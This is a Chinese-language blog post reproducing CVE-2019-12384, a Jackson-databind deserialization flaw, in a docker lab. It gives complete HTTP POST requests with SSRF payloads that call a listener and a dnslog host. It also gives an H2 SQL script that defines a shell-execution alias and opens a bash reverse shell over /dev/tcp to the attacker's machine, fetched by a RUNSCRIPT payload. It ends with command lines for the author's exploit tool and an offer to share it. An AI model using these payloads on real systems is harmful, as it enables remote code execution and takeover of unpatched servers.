CVE-2019-12384 jackson ssrf-rce漏洞复现

  • A+
所属分类:安全文章

一、环境搭建:

下载漏洞环境:

git clone https://github.com/cnsimo/vu1hub.git

启动环境:

cd vu1hub/jackson/CVE-2019-12384-RCE/docker-compose up -d

访问8080端口

CVE-2019-12384 jackson ssrf-rce漏洞复现



二、漏洞描述:

当Jackson库对 JSON 进行反序列化的时候,存在反序列化漏洞,控制好反序列化的类,就能触发服务端请求伪造(SSRF)和远程代码执行漏洞(RCE)

影响版本:Jackson-databind 2.X < 2.9.9.1



三、漏洞复现:

1、ssrf:

POST /fuckme HTTP/1.1Host: 192.168.136.131:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 109
poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://192.168.136.129:7777/"}]

CVE-2019-12384 jackson ssrf-rce漏洞复现

发送上面的post数据包,kali开启监听,成功收到来自目标服务器的请求


或者直接使用dnslog验证:

CVE-2019-12384 jackson ssrf-rce漏洞复现


poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://jcqfpe.dnslog.cn/"}]

CVE-2019-12384 jackson ssrf-rce漏洞复现


2、RCE:

首先在vps上放置一个.sql的文件,内容如下:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {        String[] command = {"bash", "-c", cmd};        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");        return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('bash -i >& /dev/tcp/192.168.136.129/7777 0>&1')

然后发送payload,请求远程的sql文件,进行RCE

POST /fuckme HTTP/1.1Host: 192.168.136.131:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 164
poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://192.168.136.129/exp.sql'"}]

CVE-2019-12384 jackson ssrf-rce漏洞复现

成功反弹shell:

CVE-2019-12384 jackson ssrf-rce漏洞复现



四、自动化利用exp(自写)

CVE-2019-12384 jackson ssrf-rce漏洞复现


ssrf漏洞验证:

1、使用dnslog平台:

python3 CVE-2019-12384_EXP.py http://192.168.136.131:8080 -f check -d 7y7alx.dnslog.cn

CVE-2019-12384 jackson ssrf-rce漏洞复现



2、使用你的vps:

python3 CVE-2019-12384_EXP.py http://192.168.136.131:8080 -f check -d 192.168.136.129:7777

CVE-2019-12384 jackson ssrf-rce漏洞复现


反弹shell:

python3 CVE-2019-12384_EXP.py http://192.168.136.131:8080 -f rshell -sql http://192.168.136.129/exp.sql

需要使用-s指定sql文件的路径

CVE-2019-12384 jackson ssrf-rce漏洞复现


成功反弹shell:

CVE-2019-12384 jackson ssrf-rce漏洞复现


脚本已经打包好了,需要的看官后台留言:jacksonssrf exp,链接有效期为7天,请注意保存,请仅用于学习研究!


各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935

备注:公众号+师傅们的id吧

CVE-2019-12384 jackson ssrf-rce漏洞复现

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: